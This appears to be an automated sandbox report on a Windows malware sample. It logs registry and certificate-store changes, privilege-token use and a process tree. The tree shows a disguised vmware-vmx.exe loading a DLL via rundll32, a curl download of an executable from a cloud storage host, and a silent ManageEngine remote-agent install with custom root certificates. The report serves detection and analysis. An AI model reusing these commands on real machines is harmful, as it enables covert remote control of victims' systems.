\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 5900000001000000160000005200530041002f0053004800410032003500360000007f000000010000000c000000300a06082b06010505070303530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0040000000100000010000000e4a68ac854ac5242460afd72481b2a44030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41d00000001000000100000007dc30bc974695560a2f0090a6545556c1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39620000000100000020000000cb3ccbb76031e5e0138f8dd39a23f9de47ffc35e43c1144cea27d46a5ab1cb5f0b000000010000003000000044006900670069004300650072007400200047006c006f00620061006c00200052006f006f00740020004700320000000f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a319000000010000001000000014c3bd3549ee225aece13734ad8ca0b85c000000010000000400000000080000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703087e00000001000000080000000080c82b6886d7012000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\CTLs dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\SystemCertificates\MSIEHistoryJournal dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\SystemCertificates\Remote Desktop\CTLs dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\7E04DE896A3E666D00E687D33FFAD93BE83D349E dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates\2C85006A1A028BCC349DF23C474724C055FDE8B6\Blob = 5900000001000000120000004400530041002f00530048004100310000000300000001000000140000002c85006a1a028bcc349df23c474724c055fde8b620000000010000001f0300003082031b308202dba003020102020900bea900b78b6470ef300906072a8648ce38040330233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579301e170d3136303530393230343035355a170d3231303530383230343035355a30233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579308201b73082012c06072a8648ce3804013082011f02818100a9a733a14a9c9d68b075811ddf231c514c0cdc328087287fd11f1d6eb125b536b88cd5579591bb6e7545b45b98eaa8cdeb0ae38be4781c7d36d97b3d2bb45b9449142130f68e112c6d09e343160cd0d0fbb8aabc8b0cea5b2066b0e3368589dadfd8ae79e9d2bdc5f5836d8fb278be02c260d3a592bda471f1a28e2f925e8b57021500a86236ce56c046d8f3fac8a6bb63e28543e45753028181009eb2085cfbe32af5a25dddeebdeede0d2f2a4475bbca802c7952e078421b4b85528fff6242aba7c75c1e40695db3be422d982972b638679c1b9314a39cad44577d2a71ee3e5738176062d9200be5efcc1b00c16b1b48e8b1771c01b9aa54ce0b5f6679caed531293d92ef822695e20264e23b188489ea3e6dc1c36a90fa0668903818400028180168cdc3d074cf4c9accef116317b85adf100f2454c9ca23203ad296928bb08879c48096c44bcb0dc3f49f69456e871dd45980eacabe735c63ade0281e7a48aca3eabde71aab64c04a6ef72c352be936692c8970a3c7615370d549b931c289810278f5284914f6965df0d93ce0a980ca5dce26e75a331c4da939af3e051d252d3a38198308195301d0603551d0e04160414a353ea5503cd0a69c45870b6ffe3912091c79f7a30530603551d23044c304a8014a353ea5503cd0a69c45870b6ffe3912091c79f7aa127a42530233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579820900bea900b78b6470ef30120603551d130101ff040830060101ff020100300b0603551d0f0404030201c6300906072a8648ce380403032f00302c021468e7a7cdfca81ff04d476fa11b781b7696d1fbf402145ef1c64374ebde4c309b59a9deeb99e556fd1477 dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\SystemCertificates\ClientAuthIssuer\Certificates dcinventory.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe 1156 vmware-vmx.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1156 vmware-vmx.exe Token: SeLoadDriverPrivilege 1156 vmware-vmx.exe Token: SeTakeOwnershipPrivilege 1156 vmware-vmx.exe Token: SeIncBasePriorityPrivilege 1156 vmware-vmx.exe Token: SeTcbPrivilege 1156 vmware-vmx.exe Token: SeDebugPrivilege 1156 vmware-vmx.exe Token: SeCreateTokenPrivilege 1156 vmware-vmx.exe Token: SeAssignPrimaryTokenPrivilege 1156 vmware-vmx.exe Token: SeLockMemoryPrivilege 1156 vmware-vmx.exe Token: SeIncreaseQuotaPrivilege 1156 vmware-vmx.exe Token: SeMachineAccountPrivilege 1156 vmware-vmx.exe Token: SeTcbPrivilege 1156 vmware-vmx.exe Token: SeSecurityPrivilege 1156 vmware-vmx.exe Token: SeTakeOwnershipPrivilege 1156 vmware-vmx.exe Token: SeLoadDriverPrivilege 1156 vmware-vmx.exe Token: SeSystemProfilePrivilege 1156 vmware-vmx.exe Token: SeSystemtimePrivilege 1156 vmware-vmx.exe Token: SeProfSingleProcessPrivilege 1156 vmware-vmx.exe Token: SeIncBasePriorityPrivilege 1156 vmware-vmx.exe Token: SeCreatePagefilePrivilege 1156 vmware-vmx.exe Token: SeCreatePermanentPrivilege 1156 vmware-vmx.exe Token: SeBackupPrivilege 1156 vmware-vmx.exe Token: SeRestorePrivilege 1156 vmware-vmx.exe Token: SeShutdownPrivilege 1156 vmware-vmx.exe Token: SeDebugPrivilege 1156 vmware-vmx.exe Token: SeAuditPrivilege 1156 vmware-vmx.exe Token: SeSystemEnvironmentPrivilege 1156 vmware-vmx.exe Token: SeChangeNotifyPrivilege 1156 vmware-vmx.exe Token: SeRemoteShutdownPrivilege 1156 vmware-vmx.exe Token: SeUndockPrivilege 1156 vmware-vmx.exe Token: SeSyncAgentPrivilege 1156 vmware-vmx.exe Token: SeEnableDelegationPrivilege 1156 vmware-vmx.exe Token: SeManageVolumePrivilege 1156 vmware-vmx.exe Token: SeImpersonatePrivilege 1156 vmware-vmx.exe Token: SeCreateGlobalPrivilege 1156 vmware-vmx.exe Token: 31 1156 vmware-vmx.exe Token: 32 1156 vmware-vmx.exe Token: 33 1156 vmware-vmx.exe Token: 34 1156 vmware-vmx.exe Token: 35 1156 vmware-vmx.exe Token: SeShutdownPrivilege 1232 msiexec.exe Token: SeIncreaseQuotaPrivilege 1232 msiexec.exe Token: SeSecurityPrivilege 3964 msiexec.exe Token: SeCreateTokenPrivilege 1232 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1232 msiexec.exe Token: SeLockMemoryPrivilege 1232 msiexec.exe Token: SeIncreaseQuotaPrivilege 1232 msiexec.exe Token: SeMachineAccountPrivilege 1232 msiexec.exe Token: SeTcbPrivilege 1232 msiexec.exe Token: SeSecurityPrivilege 1232 msiexec.exe Token: SeTakeOwnershipPrivilege 1232 msiexec.exe Token: SeLoadDriverPrivilege 1232 msiexec.exe Token: SeSystemProfilePrivilege 1232 msiexec.exe Token: SeSystemtimePrivilege 1232 msiexec.exe Token: SeProfSingleProcessPrivilege 1232 msiexec.exe Token: SeIncBasePriorityPrivilege 1232 msiexec.exe Token: SeCreatePagefilePrivilege 1232 msiexec.exe Token: SeCreatePermanentPrivilege 1232 msiexec.exe Token: SeBackupPrivilege 1232 msiexec.exe Token: SeRestorePrivilege 1232 msiexec.exe Token: SeShutdownPrivilege 1232 msiexec.exe Token: SeDebugPrivilege 1232 msiexec.exe Token: SeAuditPrivilege 1232 msiexec.exe Token: SeSystemEnvironmentPrivilege 1232 msiexec.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1156 vmware-vmx.exe 1496 dcusbsummary.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2832 wrote to memory of 1156 2832 M20261015258.exe 87 PID 1156 wrote to memory of 3104 1156 vmware-vmx.exe 97 PID 3104 wrote to memory of 4200 3104 cmd.exe 98 PID 1156 wrote to memory of 3840 1156 vmware-vmx.exe 102 PID 1156 wrote to memory of 4416 1156 vmware-vmx.exe 104 PID 4416 wrote to memory of 1728 4416 CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe 105 PID 1728 wrote to memory of 1852 1728 WScript.exe 106 PID 1852 wrote to memory of 1232 1852 cmd.exe 108 PID 3964 wrote to memory of 2880 3964 msiexec.exe 110 PID 3964 wrote to memory of 4360 3964 msiexec.exe 111 PID 4360 wrote to memory of 2812 4360 dcagentregister.exe 112 PID 2812 wrote to memory of 984 2812 cmd.exe 114 PID 984 wrote to memory of 3376 984 net.exe 115 PID 2812 wrote to memory of 1240 2812 cmd.exe 116 PID 2812 wrote to memory of 3540 2812 cmd.exe 117 PID 2812 wrote to memory of 1856 2812 cmd.exe 118 PID 2812 wrote to memory of 3048 2812 cmd.exe 119 PID 2812 wrote to memory of 2440 2812 cmd.exe 120 PID 4360 wrote to memory of 1000 4360 dcagentregister.exe 121 PID 1000 wrote to memory of 3600 1000 cmd.exe 123 PID 4360 wrote to memory of 1556 4360 dcagentregister.exe 126 PID 4360 wrote to memory of 4264 4360 dcagentregister.exe 129 PID 4360 wrote to memory of 3352 4360 dcagentregister.exe 131 PID 4360 wrote to memory of 4784 4360 dcagentregister.exe 134 PID 1712 wrote to memory of 4440 1712 dcagentservice.exe 136 PID 1712 wrote to memory of 1496 1712 dcagentservice.exe 138 PID 1712 wrote to memory of 880 1712 dcagentservice.exe 139 PID 1496 wrote to memory of 860 1496 dcusbsummary.exe 152 PID 1712 wrote to memory of 3700 1712 dcagentservice.exe 143 PID 1712 wrote to memory of 3296 1712 dcagentservice.exe 145 PID 1712 wrote to memory of 3812 1712 dcagentservice.exe 146 PID 1712 wrote to memory of 2312 1712 dcagentservice.exe 149 PID 4360 wrote to memory of 4840 4360 dcagentregister.exe 151 PID 1712 wrote to memory of 860 1712 dcagentservice.exe 152 PID 860 wrote to memory of 1296 860 dcconfig.exe 154 PID 4840 wrote to memory of 3996 4840 dcagentregister.exe 156 PID 4840 wrote to memory of 1372 4840 dcagentregister.exe 157 PID 1372 wrote to memory of 2504 1372 cmd.exe 160 PID 4784 wrote to memory of 4808 4784 dcinventory.exe 161 PID 3996 wrote to memory of 1760 3996 dcpatchscan.exe 167 PID 5032 wrote to memory of 3512 5032 UEMSAgentHealthChecker.exe 169 PID 5032 wrote to memory of 1888 5032 UEMSAgentHealthChecker.exe 171 PID 5032 wrote to memory of 3184 5032 UEMSAgentHealthChecker.exe 173 PID 3996 wrote to memory of 5000 3996 dcpatchscan.exe 237 PID 3996 wrote to memory of 4952 3996 dcpatchscan.exe 233 PID 3996 wrote to memory of 3352 3996 dcpatchscan.exe 179 PID 3996 wrote to memory of 3556 3996 dcpatchscan.exe 181 PID 3996 wrote to memory of 4460 3996 dcpatchscan.exe 315 PID 860 wrote to memory of 4280 860 dcconfig.exe 185 PID 3996 wrote to memory of 4488 3996 dcpatchscan.exe 270 PID 3996 wrote to memory of 2864 3996 dcpatchscan.exe 284 PID 3996 wrote to memory of 1124 3996 dcpatchscan.exe 191 PID 3996 wrote to memory of 2476 3996 dcpatchscan.exe 193 PID 3996 wrote to memory of 1836 3996 dcpatchscan.exe 318 PID 3996 wrote to memory of 4536 3996 dcpatchscan.exe 197 PID 1712 wrote to memory of 4808 1712 dcagentservice.exe 199 PID 3996 wrote to memory of 4724 3996 dcpatchscan.exe 214 PID 860 wrote to memory of 1244 860 dcconfig.exe 220 PID 3996 wrote to memory of 1752 3996 dcpatchscan.exe 204 PID 3996 wrote to memory of 3584 3996 dcpatchscan.exe 206 PID 3996 wrote to memory of 2484 3996 dcpatchscan.exe 208 PID 3996 wrote to memory of 1836 3996 dcpatchscan.exe 318 PID 3996 wrote to memory of 376 3996 dcpatchscan.exe 212 PID 3996 wrote to memory of 4724 3996 dcpatchscan.exe 214 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\M20261015258.exe"C:\Users\Admin\AppData\Local\Temp\M20261015258.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2832 -
C:\ProgramData\z&$[)##&'^+j\vmware-vmx.exe"C:\ProgramData\z&$[)##&'^+j\vmware-vmx.exe"2⤵
- Enumerates connected drives
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1156 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start "" "C:\Windows\System32\rundll32.exe" "C:\ProgramData\z&$[)##&'^+j\CRCLIENT.dll",vmnetDHCP "C:\ProgramData\z&$[)##&'^+j\vmware-vmx.exe"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3104 -
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\ProgramData\z&$[)##&'^+j\CRCLIENT.dll",vmnetDHCP "C:\ProgramData\z&$[)##&'^+j\vmware-vmx.exe"4⤵
- Loads dropped DLL
PID:4200
-
-
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe" "https://sssdsfgvksokfciosdkma.oss-ap-northeast-1.aliyuncs.com/LocalOfficess7.exe"3⤵
- Downloads MZ/PE file
PID:3840
-
-
C:\Users\Admin\AppData\Local\Temp\CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe"C:\Users\Admin\AppData\Local\Temp\CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe" /S /norestart3⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4416 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\LocalOffice\run.vbs"4⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:1728 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c silent.bat5⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1852 -
C:\Windows\system32\msiexec.exemsiexec /i "C:\Users\Admin\AppData\Local\Temp\LocalOffice\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\LocalOffice\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\LocalOffice\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\LocalOffice\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\UEMS_Silent.log"6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1232
-
-
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3964 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 58611658A3BBFCDFD65F0DF492CC1B3A2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2880
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc2⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Executes dropped EXE
- Loads dropped DLL
- Modifies trusted root certificate store through registry
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:4360 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2812 -
C:\Windows\SysWOW64\net.exenet session4⤵
- Suspicious use of WriteProcessMemory
PID:984 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 session5⤵
- System Location Discovery: System Language Discovery
PID:3376
-
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant *S-1-5-18:(OI)(CI)F /T /Q /grant *S-1-5-32-544:(OI)(CI)F /T /Q4⤵
- Modifies file permissions
PID:1240
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant:r "OPSJLZUQ\Admin":(OI)(CI)F /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3540
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /inheritance:r4⤵
- Modifies file permissions
PID:1856
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g "CREATOR OWNER" /T /Q /remove:g "BUILTIN\Users" /T /Q /remove:g *S-1-15-2-1 /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3048
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g *S-1-5-11 /T /Q /remove:g *S-1-15-2-2 /T /Q4⤵
- Modifies file permissions
PID:2440
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json""3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1000 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so4⤵
- Executes dropped EXE
PID:3600
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y3⤵
- Drops file in Program Files directory
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1556
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e -aoa "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\locale_resources.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\"3⤵
- Drops file in Program Files directory
- Executes dropped EXE
PID:4264
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 223⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:3352
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exebin\dcinventory.exe -i postinstallation 0 13⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Executes dropped EXE
- Loads dropped DLL
- Modifies trusted root certificate store through registry
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:4784 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcmetroapps.exedcmetroapps.exe4⤵
- Checks computer location settings
- Executes dropped EXE
PID:4808
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -p dc3⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4840 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcpatchscan.exebin\dcpatchscan.exe -y 14⤵
- Drops file in Program Files directory
- Executes dropped EXE
- Modifies trusted root certificate store through registry
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:3996 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" *5⤵
- Executes dropped EXE
PID:1760
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll5⤵
- Executes dropped EXE
PID:5000
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" *5⤵
- Executes dropped EXE
PID:4952
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe5⤵
- Executes dropped EXE
PID:3352
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" *5⤵
- Executes dropped EXE
PID:3556
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4460
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data.xml.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4488
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchutils.json.gz" *5⤵
- Executes dropped EXE
PID:2864
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "superseded-tree-scan-data.7z" superseded-tree-scan-data.xml5⤵
- Executes dropped EXE
PID:1124
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\applications.xml.gz" *5⤵
- Executes dropped EXE
PID:2476
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\hardware.json.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1836
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchresource.xml.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4536
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchtodepfiles.xml.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4724
-
-
